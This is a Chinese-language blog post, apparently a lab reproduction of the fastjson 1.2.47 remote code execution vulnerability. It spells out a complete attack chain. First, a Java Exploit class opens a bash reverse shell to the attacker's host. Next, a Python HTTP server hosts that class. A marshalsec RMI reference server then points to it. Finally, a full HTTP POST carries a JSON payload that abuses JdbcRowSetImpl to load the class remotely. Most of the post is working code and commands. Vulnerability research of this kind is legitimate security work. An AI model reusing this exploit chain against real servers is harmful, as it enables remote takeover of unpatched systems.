fastjson 1.2.47-rce


fastjson 1.2.47-rce

漏洞成因

1.2.47 这个版本没有com.sun.jndi.rmi.object.trustURLCodebase的限制

具体分析见浅谈Fastjson RCE漏洞的绕过史

img

前提

复现

环境

靶机:jdk1.8.0_301、Apache Maven 3.3.9、fastjson1.2.47

攻击机:jdk1.8.0_301、Apache Maven 3.3.9、marshalsec

image-20210922211752091

注意jdk版本会影响该漏洞复现

  • 两种不同协议实现反弹shell有jdk版本要求,而且最后接收shell的vps的JDK版本要和靶机的版本相近

下图jdk版本不存在该漏洞

img

访问8090端口

image-20210922200207047

步骤

同fastjson1.2.24复现步骤

1.编译生成恶意类.class

1
2
3
4
5
6
7
8
9
10
11
12
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/接收shell的ip/8888 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}

2.python开启一个临时web服务SimpleHTTPServer

python -m SimpleHTTPServer 4444

为了接收LDAP服务重定向请求,并需要在payload目录下开启,这样才能访问到payload文件

3.marshalsec开启LDAP或是RMI监听

java -cp marshalsec-0.0.3-SNAPSHOT-all.j marshalsec.jndi.RMIRefServer "http://攻击者ip:4444/#Exploit" 9999

借助LDAP服务将LDAP reference result 重定向到web服务器

LDAP动态类加载,如果当前JVM中没有某个类的定义,它可以从远程URL去下载这个类的class,动态加载的对象class文件可以使用Web服务的方式进行托管

4.burp发送poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST / HTTP/1.1
Host: 靶机ip
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 264

{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://攻击者ip:9999/Exploit",
"autoCommit":true
}
}

image-20210923113053182

注:所有的工具和编译文件要放在同一目录下,并且python开启http服务也在当前目录

更新

靶机

环境

参考文章

https://www.cnblogs.com/null1433/p/12697682.html

https://blog.csdn.net/qq_40989258/article/details/103049474

https://www.cnblogs.com/hei-zi/p/13274272.html

fastjson漏洞分析利用


文章作者: l0odrd
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 l0odrd !
  目录